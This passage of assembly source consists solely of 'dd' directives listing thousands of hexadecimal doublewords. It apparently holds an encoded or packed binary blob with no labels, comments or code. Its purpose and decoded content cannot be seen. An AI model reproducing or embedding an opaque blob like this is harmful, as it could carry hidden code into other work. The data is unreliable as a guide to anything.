11F89F83h, 106B80DFh dd 13784FEh, 28A18B1h, 2A22D0B2h, 15ECE001h, 0D46C7E05h dd 0A4E2D3h, 5708E4E3h, 9685CEDFh, 0C694064h, 0C916745Eh dd 7CA362FDh, 406AF850h, 0D1284E2Dh, 4891E876h, 5A1883D9h dd 0AA844500h, 93286C34h, 2E4D007Dh, 0B326CB11h, 0A427723Ch dd 0C1CCCD6Fh, 6E6B38FDh, 123FF05Dh, 0C000FABCh, 0A06322BFh dd 80A0B1CBh, 7792C19Dh, 0FF7C4623h, 0B7DFE700h, 0B84D5BEFh dd 137B056Ah, 0E144E00Fh, 78223F1Ch, 0B2C125C2h, 508307A4h dd 0A914F2F3h, 1E4FE9C0h, 8BB300D2h, 518ACF2Eh, 9F267DADh dd 2083C12h, 0BCCC2120h, 0FD014B85h, 2058B8FCh, 0C39C004Fh dd 0DC41DEE4h, 1230DF86h, 0D548314Bh, 3DB47171h, 43977965h dd 18642026h, 92401D46h, 58F95D64h, 0BA1C7A7Fh, 4C6B02ACh dd 418E2CAEh, 0B40148DAh, 56682026h, 0AC503079h, 3A647E33h dd 2B023B87h, 0C50DFC28h, 172D1CD4h, 81839160h, 337E6156h dd 0FCD37FD4h, 96E12D5Ch, 86C480C7h, 36EE3A60h, 53307D12h dd 0C07A1C08h, 0B2CDE810h, 0E02CE74Bh, 0E81800F7h, 0D9E279F1h dd 0A5003D63h, 0B351820Eh, 0B410564h, 3778E6EDh, 5A796CD9h dd 29029018h, 0B8B09252h, 1A0DEFEh, 48DFCCE4h, 59806CBCh dd 0FFBC3Ch, 962FAD6Ah, 0E603BAA9h, 506450A5h, 0FD2F8560h dd 4DDBC40Fh, 41A00069h, 5D3E1496h, 0C60EBC47h, 2F4919DFh dd 28E24C02h, 7E0C6609h, 0FCAC254Dh, 6C45ECBAh, 3260C6C4h dd 0C5F0A3D4h, 81B19500h, 57699CECh, 0F01795FAh, 0FF808711h dd 0BEF2D50Dh, 0F0B6180Bh, 0ADA0598Ah, 8664D845h, 0FE4D9860h dd 0B97CFA02h, 0E8B2ED7Eh, 4CF16374h, 0C55BA7CCh, 0BCB4AC80h dd 7EFA8CBAh, 0BD49BB72h, 3CC04FDCh, 969AC0D2h, 849429F0h dd 0FCA95E18h, 0E8C60508h, 0EC214C9Fh, 5980B76Bh, 70E304E2h dd 0BE005853h, 7C5A3225h, 2E130FEh, 24AEED95h, 0E85C5942h dd 94CF8C04h, 0C4F244E2h, 4B6EE730h, 0D5A0042Eh, 72DC448Bh dd 0C1BC20F8h, 0EACA008Ch, 36916A32h, 2D793086h, 0D03C8297h dd 443CC79Bh, 0DC1160BEh, 39DA02E8h, 557E19F3h, 1B09D8DEh dd 0CB760290h, 7C60F665h, 0AC02BF46h, 0F07EB34Dh, 2C1A9440h dd 3AFC8782h, 12E8FB49h, 2686EF9h, 2C6E2D41h, 9E90D84Ah dd 0B543408Ch, 5E007EF5h dd 0A50E3E59h, 3A190C6h, 8E5F4E2Dh, 0A8B59A14h, 5273C810h dd 4656287Ch, 0BA6B0089h, 0CCA6210Dh, 2AC409BEh, 28F230EDh dd 9FACF520h, 11591C91h, 206F6FA3h, 0F64078F8h, 5D507C0Eh dd 0B964E4BBh, 0A16E7300h, 9800160Fh, 0CC14D68Ah, 707FCAh dd 7B909766h, 7DB0AC8Ch, 99AD452Dh, 0CF12654Ch, 0F4009844h dd 5FD14D0Bh, 303A457Fh, 0CDA8D401h, 9C920F12h, 4178F093h dd 52A402BEh, 9BE6D8EAh, 0B0623000h, 4044B6B3h, 26EF187Eh dd 7A365509h, 0B5208217h, 5E802F92h, 8FB856B3h, 308EB00Bh dd 7178FB48h, 2BE07170h, 0C300845Dh, 1D2E562Dh, 0D4F492FAh dd 80E87098h, 0BB94008Ch, 251DFECAh, 0CFE8BDB4h, 68004091h dd 76BEE03Fh, 6D980F41h, 0AE206BC3h, 79A3D025h, 129CCE12h dd 508EE40Fh, 22B0BA16h, 0C8D4F720h, 0D368D0BBh, 0C12EC02Dh dd 0AC207770h, 98A854DDh, 0A61516A4h, 5B442925h, 9EA1C3DCh dd 0CE6B889Ah, 0D7D1C082h, 88591656h, 5CE56C0Fh, 308CA007h dd 5CB9AD0Eh, 8C4FDB19h, 0C495DFE8h, 171B2E04h, 0B5810F5Bh dd 0F5788D60h, 2E030756h, 2C4E6786h, 518B8244h, 3291344h dd 0F08C273Dh, 0DACFB0CFh, 6900AE3Dh, 9C66C33h, 0F2CD9906h dd 1464B1Ch, 0E24E9CACh, 14137AEDh, 88850804h, 5630B103h dd 44610AE2h, 639C35D6h, 31C3A28Ch, 0BDED300Bh, 0C73F8203h dd 838E5E2h, 94D0B671h, 0EEC0C52Dh, 4D6280F1h, 1CEAA396h dd 0F1211AC6h, 40FD4E59h, 0B9CBBA64h, 0A2ECFA53h, 554A30BDh dd 69123E25h, 0CA309730h, 8F9D04DAh, 816BA0C4h, 5E4648h dd 40CED0EAh, 1925B4A2h, 506ECDh, 0CE543A66h, 0EECC4D4Eh dd 460226EEh, 81CAD6EAh, 0F194E295h, 60BC7BDCh, 2665F9Eh dd 0B0F00204h, 2C7CE2D8h, 299DCE0Ch, 0A664003Dh, 4E1D6E75h dd 16386207h, 95198008h, 456DF4CCh, 2EB403EDh, 0B7304328h dd 13C03912h, 0CDC50D0h, 0D3AA006Dh, 0BB845F30h, 0F307973Fh dd 8A25F0F2h, 0B847C9A0h, 0CEDE2512h, 5A70B064h, 0EDB9AF51h dd 14846C5Bh, 80F8B09Fh, 0F127E5E9h, 9BE64AC6h, 0D0E0805Ch dd 39EAD9DCh, 0E4A42044h, 0CE627C4h, 0C9461809h, 0C03854BCh dd 7C34A6AFh, 89C33B02h, 0D9CF4411h, 1AB48920h, 0B3EE2CE6h dd 882E19CAh, 1021CE16h, 86F0242Fh, 1C4409A8h, 9C56FA37h dd 6F6E00D6h, 562CE408h, 0B6245C38h, 470EBC86h, 0FAF0CB1Bh dd 0E53A1070h, 0EA247AEEh, 744A3CB0h, 22C80B3Fh, 277C52BFh dd 0E0E7728Bh, 6760C364h, 232C8ADCh, 0F8329463h, 0A81F5729h dd 0BE83DE11h, 2AE8E2A2h, 52005579h, 0E4433F7Bh, 0BB28B6Eh dd 0E75E24EBh, 0F0F4C062h, 7B461FDCh, 1F404167h, 80CC779Ch dd 60E77481h, 3F471Eh, 4D130392h, 674858F9h, 1C79512Ch dd 0E953C841h, 1D9544E8h, 94AF98h, 728D3D50h, 14062975h dd 9D1D2476h, 0BEC4B0A0h, 56465EA8h, 0CA1BD400h, 2BABF2E2h dd 99BA4F01h, 0E381088h, 8AD72C6Dh, 0C0C5C8C4h, 30EAAC2Eh dd 0B0B26105h, 40A983E6h, 6EBC08D5h, 0D002E6F0h, 0AC8B252h dd 6A60D4B1h, 0F800D608h, 91D176FAh, 25568BFh, 0E2C6D243h dd 0E4DE3149h, 49836C88h, 9C40506Dh, 2848A92h, 694605CEh dd 7C512842h, 0D0521A01h, 0CFD0D826h, 0F5FC02F8h, 0E7F2EFB6h dd 34BDE8C0h, 8890E595h, 9E093CCAh, 4C7490B0h, 0D4AD2D2Ah dd 289A684Dh, 21546049h, 58F482ADh, 1A053210h, 0A9AF8566h dd 710BD350h, 45285047h, 0F2E07EE4h, 0B49C42h, 0F14E96BBh dd 6CEAB0B8h, 9E04C0B4h, 0C0A846B7h, 6D73D84h, 28D18A78h dd 5B18C975h, 0DF8D0A6h, 0B080411Ah, 282A4DB8h, 0D4A6CE12h dd 8ED49B40h, 2CEDE005h, 0BDC49333h, 0EC7C0438h, 70EA1512h dd 85B85010h, 9032C120h, 72CD278h, 0B7ACB460h, 0AFA9D06Bh dd 0C256A9Fh, 2C987111h, 0CD4D0838h, 974FF500h, 1AB2CE79h dd 0D0919ED0h, 0BD11C879h, 1F2A1A17h, 2861A5CCh, 7C9A2FF9h dd 137EC1C1h, 4264341Ch, 121669EAh, 0A8A3A878h, 0EA3059B2h dd 9F1E00A8h, 90177364h, 65EC0D2h, 0E0CDD880h, 0CC359591h dd 1AEB4980h, 5BAF647h, 0CC985C7Dh, 0B4D4F4C9h, 24C41D52h dd 2F2F9D9Bh, 9DAAC910h, 835411D0h, 0F9FCE98Fh, 103F4E88h dd 0B910D438h, 0B8292CD5h, 0E8C42747h, 83F22CE2h, 0BF63230h dd 0C205A17Dh, 0C09E4498h, 9CA4C313h, 9A4FF4B3h, 0A0808018h dd 4A82A27h, 0D76DD381h, 13D8ADCFh, 1D00E263h, 5790A098h dd 339C01A2h, 0FA884BF8h, 9A9C0F6h, 0C2CF7627h, 4414C710h dd 0C1776089h, 0CF8F0012h, 0DCC6DFB6h, 4D1203BBh, 5C5EB132h dd 8B57B2C5h, 8BF288B2h, 0DC4C30h, 0C30C9A95h, 6FE04738h dd 9524CC95h, 274044EDh, 0B34F03h, 1A84469Ch, 99CE19EFh dd 1EDAE88h, 896E21E0h, 2B63686Ch, 0D40E288Dh, 1EC08088h dd 0EABC23h, 0BA356E74h, 368D1AC4h, 799C9A9Fh, 188779E4h dd 0F2AC051Dh, 87F0364Dh, 0B66484h, 0FD17F1DAh, 7E190B78h dd 0F04CAA01h, 26D844h, 4F3AB66h, 0C6C8328Bh, 882AD0B4h dd 88D0654Ah, 1E9E438h, 0F4E08156h, 3396E1D3h, 3084F2C0h dd 9516D85Eh, 0A408A5C6h, 5284805Fh, 0EF2D964Bh, 0F673D300h dd 0A947B7B0h, 626A0095h, 9BA6A246h, 0CF4F44ECh, 5E633009h dd 0BAF501CCh, 251C4092h, 0C0A81B68h, 92A3F5EEh, 661B166Bh dd 26A0F015h, 0C979FF08h, 0CF290073h, 4482742h, 24678003h dd 0D8F25721h, 2566E6Bh, 9F7FADAEh, 442049B9h, 9FC9451Ah dd 10A26C99h, 227AB0F5h, 84BE84CEh, 1C816540h, 0F7FA0313h dd 89B9D60Ah, 686901F8h, 54C82B4Fh, 76200BBh, 285CEAB7h dd 649C3B51h, 745F465Eh, 5AE4433Ch, 0AF1AAC48h, 0C291EC97h dd 338C9787h, 1A88C355h, 7E16A344h, 0A8C0870Dh, 16D04933h dd 48BDF2B8h, 0E915180h, 8166A006h, 725930ABh, 8C8BAC84h dd 61B7A600h, 171EF00Eh, 60D458DCh, 0F4407214h, 26AE0111h dd 467484E8h, 0E4150284h, 0E4AF3FFEh, 0BAA45B0h, 0C0868858h dd 45C3771Ch, 9B673001h, 3A79E2C4h, 7AEF8040h, 4046788Bh dd 0D1096FCAh, 20B20EB0h, 0C72526DCh, 5E190BE7h, 0ACC9B191h dd 0E8AC7C1Bh, 8D008C55h, 4EF6390Fh, 0F117582h, 67652F25h dd 0C12A8A82h, 0C4698C8h, 1785082Fh, 81859108h, 64E44888h dd 0B88C403Ah, 70DDC87Eh, 9960F900h, 0D0AB9EE2h, 0D59F00B5h dd 956CE7C6h, 0CF5AF7B1h, 89E9C03Ch, 0D24C6196h, 0C5C4B255h dd 6054C47Ch, 3F568926h, 2E1E4508h, 825FD22Dh, 98DC7A4Ch dd 518ABA60h, 0EB1F2577h, 99F82446h, 5E72F004h, 40813707h dd 8C3DCF7Eh, 63A48B01h, 81489E45h, 0B254AC14h, 0CC2B0485h dd 4F012690h, 0D769775Bh, 7EE0E99Ch, 2F615AE0h, 2BB232Ch dd 0F22530E5h, 0B209ACD0h, 0DAA176B8h, 0E16E6058h, 0B3F2D032h dd 4E160CA0h, 8B6218A0h, 3B472680h, 0FD3E9055h, 0F3F8B2E1h dd 411EC13h, 459FC600h, 4B1C423Ah, 4F2AF09Ah, 0C51C00E9h dd 0CAA1B2CCh, 382F3AF9h, 0FE005A23h, 0B052D55Fh, 0C0CA5FB8h dd 560D2E38h, 172F5CBEh, 87C691DCh, 0E292E67Ah, 0F53C6851h dd 925B047Ch, 0BF594618h, 0E246981Dh, 9520EDBDh, 0C4DC2062h dd 383465Eh, 3B0C595Ah, 9728B1C1h, 0AA0B817Fh, 0D8B4504Dh dd 0CE809B1Ah, 8E234F6Ch, 0C785C8E0h, 0C4C8B084h, 9D012Ah dd 0FF3B2EA0h, 0B0C71241h, 0F284E28Ch, 0D3153081h, 925AA638h dd 0CC016776h, 4012F3EBh, 0A2CDD450h, 9FA8006Eh, 0B523AD1Eh dd 0B85A137Eh, 0E21A8C33h dd 90985574h, 0B23CB03Ah, 3749896Fh, 6018DEC3h, 527DC044h dd 0E81D9A1Fh, 0FD772680h, 5A9C98EEh, 80E4CA91h, 4244481h dd 280E115h, 1EC35242h, 0F0388BC0h, 5604616Ah, 238703E8h dd 23C35E20h, 3A467489h, 56460721h, 8D307BC3h, 3207FB85h dd 514605EBh, 0E4C35930h, 224C4689h, 51410019h, 299EFC3h dd 0BFFE9EC1h, 6D247A00h, 5C08316h, 55BD0E89h, 50CEE715h dd 66F904EFh, 725F1857h, 8C7CFEC3h, 9471D44h, 1502C357h dd 0AE0E7C80h, 0B13072FDh, 95294A30h, 0E71C3055h, 59BF66C1h dd 14FF713Eh, 290C02C5h, 5A0E3952h, 548944C3h, 0B0B11462h dd 45DEF03Eh, 659FEB00h, 95149D8Dh, 0C057FEAh, 2DA5BD8Bh dd 66785E5Eh, 0D3FFF817h, 0C2DF0303h, 0E185B9EDh, 90554C52h dd 0E4C35D40h, 0CF6C5389h, 4580458Bh, 0BD2B773Ah, 46088532h dd 372263E9h, 129E820h, 0FBED815Dh, 29E001E5h, 0BE13D185h dd 75BD0C2Eh, 60D00C2Ah, 860F2E07h, 23E10147h, 301AB219h dd 0D40039CCh, 7DE6B4FFh, 0D004840Fh, 0AD02BC21h, 599D8BDBh dd 61537CA4h, 89C8C35Bh, 0F5A75Ch, 1BC35343h, 830EF419h dd 0A1346E2Ch, 10E976BCh, 0CD12580h, 7F4C0E01h, 25392F03h dd 0B808288Fh, 3894CC8Bh, 0E568E381h, 0FF8DEFCh, 15138F35h dd 800B5508h, 8CF65BF7h, 0F803546Eh, 8D1CEEC6h, 0BE66885Fh dd 0B9803A5h, 56850FDBh, 50410885h, 91C358C3h, 17184489h dd 504088h, 2308FCC3h, 0D8D893Fh, 83A60C50h, 651BD71h dd 84E503F4h, 0BEBD2095h, 0E9304269h, 0B58B1335h, 0C7FEA85Dh dd 2E1CA285h, 20E9068Bh, 0C781070Bh, 1A57C608h, 90104E15h dd 0B015007Eh, 682C6585h, 0A4480596h, 318DF5C3h, 800DE9F7h dd 0C1AE4A2Dh, 3B407212h, 67001D6Ch, 8176D105h, 0FE72FF23h dd 0B57D0BE6h, 663C85E7h, 0D83ADB8Ch, 62001B23h, 1E37D923h dd 8A4A15ACh, 8414E2F6h, 1BFCC373h, 653A008Ch, 10BAE66Bh dd 8B613F32h, 2CD995B8h, 7464B4A4h, 2D001A46h, 0F8069085h dd 5064D3B8h, 0DE5D16A8h, 0E8310652h, 6300130Ah, 435F2B73h dd 3BBB8391h, 5AB49457h, 81A684BCh, 1221144h, 0C72538E9h dd 68C3A41Bh, 0A0909C4Fh, 244871B9h, 61BC0A2Ch, 4676A1B0h dd 22670018h, 31F71C2h, 2F5131B5h, 6370E6A8h, 3017A235h dd 8A3FC945h, 12CF80BCh, 0E40F4220h, 0C44FA571h, 1194601Ah dd 0CDF000DCh, 0D781E641h, 3905CB80h, 0D8B60F5Bh, 0B4CEAA9Bh dd 1506BA06h, 680D6B0h, 19289589h, 0C3F6822Eh, 1BD12091h dd 0F5E00918h, 31D7E000h, 0F519632h, 2502608Eh, 0E85E6160h dd 1E005F99h, 45E33995h, 0E186012Dh, 93A978AFh, 0AE1DC8FAh dd 0ABFD200h, 0CC76D7BEh, 0C15E0A69h, 5C4E04E8h, 0F7091646h dd 4A027C37h, 2090271h, 176D61h, 2BE2F766h, 0A2FFD853h dd 0C2C0301Ah, 0CBE3D701h, 5093DCA9h, 115497CAh, 6EF08017h dd 58FF3D70h, 98192B5h, 0A8279DBDh, 1D20F30Ch, 0E956291Ah dd 0D73800A7h, 150DEEB9h, 19532500h, 95177A3Ch, 2001B548h dd 215FF350h, 7442DE99h, 18115017h, 11ABD780h, 0C2906AA9h dd 73BDB824h, 1CD14829h, 0D006518h, 111E629Ah, 99C869A6h dd 0BD8480EAh, 7C1819A7h, 9675D23Fh, 0E50C283Dh, 1261DC67h dd 560D830Fh, 23633A2Fh, 40461C1Bh, 0C76813EDh, 0AE924EAFh dd 1AD10DB1h, 7500C918h, 6E20D09Eh, 288D01A0h, 30D31B91h dd 6A2B0CE8h, 69031946h, 0D288DC09h, 0D69AB8C9h, 0A8CB915Eh dd 912DF651h, 8E90CC5h, 701BB1Bh, 5AC8A335h, 87250347h dd 0C75DD41h, 2D596323h, 7F90D7BCh, 0E8E00AADh, 48537775h dd 2C404993h, 0C905000Fh, 0FA37854Ah, 223C8A2Fh, 55E481C7h dd 0E311BDFh, 585FE440h, 0D7E70581h, 46F9B22h, 1815E981h dd 5D880F94h, 52021019h, 7B95FFCh, 6893282h, 0F80318E6h dd 8341BA22h, 0C19B84C1h, 5029A6C0h, 0E69866D2h, 3B7D0201h dd 0D6860FD9h, 0F3BF3B41h, 67F20C71h, 621444F0h, 789F40B1h dd 0C1F62E55h, 99F9109h, 0A9EDB52Bh, 85EA9452h, 631D4435h dd 0D049E3FFh, 7235CDCh, 0BF86F233h, 356D5119h, 0F078365Bh dd 4A29160h, 0F202F00Bh, 554822Bh, 0B0C1DC20h, 0F8520491h dd 0A408343Dh, 9E12EF0h, 83A8B329h, 0FCE1F501h, 22071234h dd 91E9AFC4h, 0FF800AEh, 0C08BF0B7h, 31BD8916h, 1DA96737h dd 801C916Dh, 802BE6FAh, 0F5700A96h, 8039F1D0h, 7DE24A94h dd 0BF00144Ch, 0DB32345Ch, 0F685C750h, 137EC009h, 8176D52Dh dd 8214DE06h, 9A26A7Fh, 33098D31h, 850C876Dh, 0B031690Dh dd 0FF2F405Ah, 0F81642F9h, 819112CCh, 0B2181AD1h, 2623E102h dd 0CC508015h, 0D183912Eh, 0AB91818h, 8CF70187h, 90F909C7h dd 1C11301Dh, 8C24380h, 650B49B9h, 23811F8h, 2529D7h, 3245B531h dd 744AF9Ah, 777C012Bh, 0EE481050h, 0A1032056h, 99E90840h dd 0DD210013h, 2622632Eh, 0F195E71h, 0E81D118Fh, 1BA1340h dd 5DD718ACh, 56FFCAE3h, 4232ECBh, 0E1222C5h, 8B2ED610h dd 7097C680h, 78A50958h, 0F06015C4h, 0BD2A01CAh, 311CF435h dd 90E0A59Dh, 0BEF60037h, 62C23A19h, 25699529h, 943F371Dh dd 47C09B06h, 0A7DCCEEBh, 351C1E2Eh, 130D8D08h, 31C50D5Eh dd 0F014266Bh, 208FADh, 0A1B2FCB7h, 0FFF7EDE9h, 0B83B3DE3h dd 15885819h, 861E5904h, 121044Fh, 31846009h, 9D455F06h dd 0D4211691h, 0B9D07EDEh, 40FF53FEh, 8F3317A2h, 80C971B0h dd 21A213D2h, 0C827CF8Dh, 8193C514h, 62D6DDFh, 26D12550h dd 1991E09Dh, 67F79280h, 334801ABh, 0AE91013h, 91B8B3Bh dd 0B7430D2Fh, 3114A233h, 0D9A2008h, 0B0406089h, 0C49AF5EEh dd 1024D68h, 1E18361h, 0D21F6530h, 80AD9B2Dh, 84301028h dd 9C90A68Bh, 1C2C10E5h, 3869F860h, 6BD23410h, 22E4008Ah dd 0ADE0EB51h, 800A9925h, 0F9981A50h, 90CD0D2h, 802BED8Dh dd 6061315Ah, 50685FCh, 0C1563432h, 0EE415A3Eh, 0F011AE5h dd 188A2D8Ch, 0D91CB1B0h, 22E98127h, 3D0777CCh, 0F1DB99C6h dd 205D8B05h, 2C76D395h, 0FCAA30h, 9D4BC67Fh, 9AE40827h dd 98DB3324h, 0B3A94D8Ah, 770C343Bh, 0F72F5357h, 0A4051623h dd 9414FFE7h, 296391CDh, 19F9D938h, 7D05F418h, 0B6E394BEh dd 0F89AD08Ch, 0A3AA000Ah, 4CCFFAD7h, 0CB2BFCEh, 8B320120h dd 2209C1DDh, 0F080361Dh, 2D36EEC0h, 391098E3h, 0F9488F5Ch dd 3B72019Ah, 15AA6C17h, 0B4E82AECh, 82A18794h, 0C1EAF047h dd 0D31C2C36h, 46C25D07h, 0D8521190h, 0F13B09DEh, 19025E5Ah dd 640926B5h, 0AA4500A8h, 1E6D034h, 0DA002920h, 0B77DEF1Dh dd 140AB4B3h, 0C076CB6Ah, 5FC0D93Fh, 25A14AC5h, 18B245E3h dd 702CEF30h, 8BFC1C3Ah, 4DAAF2h, 0BB665153h, 5A5EE032h dd 2743F7A6h, 19E22452h, 1DB25A30h, 406AABFh, 96CDBD0Bh dd 0CCD37C27h, 1D23573Eh, 0D53B6800h, 5817C3Dh, 7D143A28h dd 0EABE0156h, 525F33ECh, 8B200662h, 911379B5h, 3A372527h dd 39E5D902h, 64404D93h, 730D601Ah, 33060AADh, 15EFFD07h dd 11DC751h, 2112D695h, 63097D35h, 3016E25Dh, 520A6621h dd 0BCF9FB8Bh, 223E6635h, 31041623h, 37C20637h, 47316AF9h dd 5888A370h, 0FEFABAB1h, 0E94E2F01h, 2D55B50Bh, 21C81205h dd 88D78BC3h, 7C097DC6h, 2F0E1D46h, 21C0E87Fh, 0FFEB6698h dd 2BB0502h, 666EB9C6h, 0B4CF01EDh, 3D2B9936h, 97552E2h dd 0D2C08020h dd 4925F233h, 14A82C28h, 0E9CD148Ch, 0CF818912h, 0D0C7487Fh dd 0E400B8D3h, 12FE3A0Ah, 26055D19h, 1386C51Fh, 0C75CC1C1h dd 0D54C2D85h, 1DABC6Fh, 0F8285E7h, 2361CBBFh, 3018A2FCh dd 95007ACAh, 7EB4EBDh, 0DCE99D61h, 78D92B21h, 0BD00AECEh dd 0C7874F59h, 14D9A354h, 51D3C280h, 48C14B8h, 498D899Eh dd 0C148D020h, 0F60704EBh, 0E917EE7Dh, 0C00070FFh, 0C16EE2D4h dd 6B00E5C5h, 65EBD3DCh, 0EFCFDEh, 0EEECDA61h, 4C245362h dd 0D4744206h, 9404Fh, 45D27E5Eh, 0DCED6343h, 592F8A00h dd 5AC69EF7h, 8FEAF72Bh, 52809FFCh, 2D72547Ah, 91D800F8h dd 7D4C92AAh, 0F731C03Eh, 75E23DCBh, 38099740h, 10B0010h dd 0AEF1E13Dh, 62F84761h, 0FFD21100h, 4AB589ADh, 1CF240h dd 329E3853h, 8D92341Ah, 7DB89801h, 4363A8F7h, 65A6E0h dd 30E7945h, 0CEEB933Bh, 606D7A6Fh, 0C1F5CD28h, 2C7C031Ah dd 2A71DFFFh, 3BFEDCF8h, 2929B667h, 98081050h, 67D90A8Eh dd 98B9ACB4h, 5E06DD3Eh, 0CA48E600h, 62A1D0FFh, 0FDC8C129h dd 818C961Ch, 49043346h, 1180846Ch, 217D4E9Fh, 0D27AE8D6h dd 4468A300h, 8F1DBD2Eh, 6BB43880h, 7925A06h, 3B0035B1h dd 0A7B90B14h, 1368702h, 0B3D786E5h, 9C8937A9h, 62159Ch dd 8DAAE24Dh, 729E491Fh, 735CE301h, 128A7E5Bh, 96894E94h dd 0D356D03h, 0EF7CC0A8h, 5CB3F200h, 4212684Eh, 5EE100EAh dd 4FC08D62h, 500016Ch, 0A689D925h, 2A9E3B78h, 94542Ah dd 5AB38FD8h, 3115341Bh, 4B02ED00h, 0F0A9FD4Fh, 2B536025h dd 1A360750h, 0A8C56A3Bh, 6F7086E3h, 2A260813h, 5664EB07h dd 33E05870h, 87200013h, 9BF6355Dh, 4F0093B3h, 0BA16B03Bh dd 0C044E8Ch, 59F7795Ch, 9AB0125Ch, 16E7C600h, 0DD6AE6C5h dd 80EB51CBh, 378258BDh, 12DA8AF4h, 634BFC80h, 360CF806h dd 44538F71h, 74BB0084h, 0DE357056h, 0E10CE9D1h, 21149C39h dd 0B7970EB1h, 60A0026Bh, 7A113D05h, 84AB5C00h, 861BD99h dd 0F67E072Dh, 4F67D8DBh, 0EC06CB95h, 0AD2F9124h, 9800DBECh dd 3F6A35CEh, 260601h, 45A089D5h, 0C41A206Eh, 8ECEFB01h dd 284C7B0h, 842BA40h, 0F0FF4A40h, 0DCA85AE1h, 0FE700159h dd 53E3703h, 0C8ED3506h, 0E03CBFh, 0B9B7F693h, 2A88BDF5h dd 68342500h, 307E5590h, 9840060Ah, 4A074B3Dh, 3C7F4800h dd 0F2D2F5C2h, 4A4304ACh, 802B146Ah, 55348391h, 4589350Eh dd 98180386h, 54E638A7h, 0E1A41EC4h, 0CEEE3F00h, 537734F0h dd 7C972F1h, 78528B5Fh, 0EB011944h, 0CCA781B9h, 20EDF1Eh dd 50AE8Dh, 236EA428h, 0E47316F0h, 0DDB60C89h, 9800C2A0h dd 68B696B7h, 7F92808h, 0B3C603AFh, 36504062h, 6B0045FDh dd 0D7A1D216h, 31AD78BBh, 11A6B533h, 0C61601h, 2003236Ah dd 0A6F4C4CDh, 6F39C498h, 0DAFC0013h, 0D779414Eh, 2FD43018h dd 0F1C48EFEh, 5D133400h, 0FED021C9h, 55750051h, 0BAE2009h dd 9200D3A5h, 0E6DBEC6h, 0C5C730h, 0C8C06FE1h, 0B288CEF8h dd 340A5B06h, 2DFD41h, 56F294D7h, 7E5C4E76h, 0F8C92000h dd 0FDC1CB50h, 414A00D5h, 0F33C0261h, 0A901F5D9h, 90305605h dd 13EC96B8h, 0D81B003Bh, 5D1DB714h, 2F7A61F2h, 0FEBD6h dd 12A700EEh, 755CF725h, 5F2DA1C9h, 0E7D1F743h, 0A4FAC2B0h dd 69089A45h, 8009CF6h, 546129A1h, 0E715EC60h, 995796h dd 66B49AB2h, 0D32F0F19h, 81A5E400h, 754572BDh, 1CB91829h dd 5EAF3594h, 3874400h, 26A02BBFh, 0BC82038Ah, 9D38E0ACh dd 280329D6h, 9BE7C7C1h, 97F40CB2h, 0CFD27AFDh, 0F7835070h dd 0A42EEDC0h, 382C1F8Ch, 4DB40A3h, 7008AD29h, 1146148h dd 19DC2273h, 109D6097h, 0DD309432h, 0A12CA001h, 847D4192h dd 9AE53916h, 580B2DC0h, 0EA8C003Eh, 4CA35179h, 0B219074Fh dd 6C44741Eh, 3E0D4C8h, 69E73085h, 950188AEh, 52725BE4h dd 0B8404713h, 0F6351531h, 0C2D714E2h, 8700BBE8h, 6C241CB6h dd 490353F2h, 9782ED4Ah, 333C00A7h, 86A8E0CFh, 2A4863CCh dd 96D50012h, 0FBDBCD5Ah, 50D27CA7h, 645939Eh, 0F840551Dh dd 7207109Ch, 1338BF23h, 9FE8B9D0h, 8D0D165Ch, 0F3B10358h dd 66EA71BCh, 5413ACC8h, 0DDF59800h, 8708EBF8h, 0BF8803CCh dd 12341463h, 0A723A8B8h, 0F697550Fh, 0D71C60DCh, 167F444h dd 4F3184B1h, 0E8C8A66Bh, 0CB022A7Bh, 0B371016Eh, 0BBB60C2h dd 0AE9047h, 2A080222h, 9E79AD9h, 3B280458h, 194A8089h dd 0F94F6AC5h, 0FAADA0D0h, 1D5800A9h, 0CA674451h, 0C03C960h dd 0CFF7DF23h, 2893E877h, 82972CCCh, 0ED1725h, 0D195036h dd 0F800D12Dh, 27614CAFh, 62C907h, 4336042Ah, 0D0904667h dd 97A79201h, 5317C4Bh, 0DEFCFCh, 0B195B780h, 59EBEFFEh dd 116D4D0Eh, 4900FC38h, 85A9E341h, 0ACFC014Bh, 642CB48Ah dd 0ED97FD51h, 61EE53D4h, 650F48h, 9CBCE9C0h, 65B72A1h dd 0C893277Bh, 0C4028FCEh, 41092D7Fh, 0B7DE60FEh, 2A0B848h dd 0BEFDCE1Fh, 0F6E41B40h, 6F234F00h, 0A506652h, 0CBEB003Dh dd 0A38388F7h, 2500105Fh, 0B4E2CD11h, 604FB886h, 0F1D86E43h dd 0A62491EDh, 18806E79h, 8102E43Ah, 45A39DECh, 24B18F54h dd 8C06BD83h, 1A70BA68h, 0F0347C89h, 113A6CBDh, 0E8F05522h dd 1F581600h, 3518F581h, 61476FEh, 4E6EF2C5h, 560F0C0Fh dd 80531F3Fh, 7D4574EDh, 0B8503E0Eh, 5A00993Bh, 8958C531h dd 54335DEEh, 10C4858Bh, 0CC7DF382h, 3D10681h, 8F01F716h dd 70D30840h, 3F0A189Dh, 0E67D8956h, 86EC651h, 46C68706h dd 6008FF5Ch, 63E96D5Eh, 0F8F6FC62h, 7F571C1Ch, 5017D2Ch dd 0EB1A89B8h, 7C503D4h, 7519E0FFh, 16F270F6h, 41C0A53h dd 2F004BCBh, 743E42EAh, 6950012h, 30FDABBEh, 61077ECDh dd 0E4AF2F4Fh, 2A4127C0h, 440A0045h, 8C9B6A5Bh, 0E00019C2h dd 3D57F5CAh, 7311DE4h, 1E4809D9h, 5FB27039h, 0DE00DB9Fh dd 13902659h, 1826964h, 9C484CE0h, 0F08128C4h, 7C075356h dd 651F4760h, 0EB73E8D0h, 910014Bh, 0C53C2F0Eh, 0ACDAE01Ah dd 0D41CA407h, 0E4175CD2h, 3134CE00h, 0F1B75F5h, 0D129B327h dd 0C7B00136h, 0F317E62Ah, 67D0DFF3h, 4FE1A6DBh, 41288001h dd 2D427E6h, 0E9C3727Dh, 36760DE3h, 261C4776h, 0CE0030AEh dd 11BA2114h, 0D3BF000Fh, 0BD83D88Bh, 0E74E07F1h, 7A85FDC1h dd 9C7E014h, 79C2B881h, 181DF1F9h, 1F15393Fh, 0CF7E7F00h dd 8A064A80h, 4C2CB1Ch, 3EF6B727h, 50750FF2h, 46202D0Eh dd 0DE80AFE6h, 8A0FB413h, 0B0EC6094h, 99028180h, 0FA03091Fh dd 75BEEC01h, 0B9E622EDh, 0C01D5977h, 31C28A60h, 0F2047185h dd 79BD1585h, 7518930Dh, 1C151209h, 31137488h, 0B8405350h dd 8DA324D0h, 0A8089D00h, 0D3FF05E9h, 1C58565Bh, 1A861120h dd 1EA75523h, 232FBE8Bh, 0BA505A2h, 